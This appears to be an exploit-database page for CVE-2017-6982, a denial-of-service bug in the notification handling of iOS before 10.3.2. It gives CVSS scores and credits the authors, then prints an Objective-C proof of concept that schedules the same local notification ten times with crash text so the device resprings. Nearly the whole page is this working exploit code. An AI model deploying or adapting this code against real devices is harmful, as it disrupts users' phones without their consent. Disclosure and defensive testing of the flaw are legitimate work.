Apple iOS < 10.3.2 - Notifications API Denial of Service

Published
Credit
Risk
2017.05.18
Multiple
Medium
CWE
CVE
Local
Remote
N/A
CVE-2017-6982
No
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
4.3/10
2.9/10
8.6/10
Exploit range
Attack complexity
Authentication
Remote
Medium
No required
Confidentiality impact
Integrity impact
Availability impact
None
None
Partial

# Exploit Title: Apple iOS < 10.3.2 - Notifications API Denial of Service
# Date: 05-15-2017
# Exploit Author: Sem Voigtländer (@OxFEEDFACE), Vincent Desmurs (@vincedes3) and Joseph Shenton
# Vendor Homepage: https://apple.com
# Software Link: https://support.apple.com/en-us/HT207798
# Version: iOS 10.3.2
# Tested on: iOS 10.3.2 iPhone 6
# CVE : CVE-2017-6982

# We do not disclose a PoC for remote notifications.
# PoC for local notifications. (Objective-C).


defaults = [NSUserDefaults standardUserDefaults];
UIUserNotificationType types = UIUserNotificationTypeBadge | UIUserNotificationTypeSound | UIUserNotificationTypeAlert;
UIUserNotificationSettings *mySettings = [UIUserNotificationSettings settingsForTypes:types categories:nil];
[[UIApplication sharedApplication] registerUserNotificationSettings:mySettings];

//1
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];

NSTimeInterval interval;
interval = 5; //Time here in second to respring
UILocalNotification* localNotification = [[UILocalNotification alloc] init];
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];

//2
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];
interval = 5;
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];

//3
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];
interval = 5;
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];

//4
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];
interval = 5;
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];

//5
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];
interval = 5;
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];

//6
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];
interval = 5;
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];

//7
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];
interval = 5;
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];

//8
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];
interval = 5;
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];

//9
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];
interval = 5;
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];

//10
[defaults setBool:YES forKey:@"notificationIsActive"];
[defaults synchronize];
interval = 5;
localNotification.fireDate = [NSDate dateWithTimeIntervalSinceNow:interval];
localNotification.alertBody = _crashtext.text;
localNotification.timeZone = [NSTimeZone defaultTimeZone];
localNotification.repeatInterval = NSCalendarUnitYear;
localNotification.soundName = UILocalNotificationDefaultSoundName;
[[UIApplication sharedApplication] scheduleLocalNotification:localNotification];



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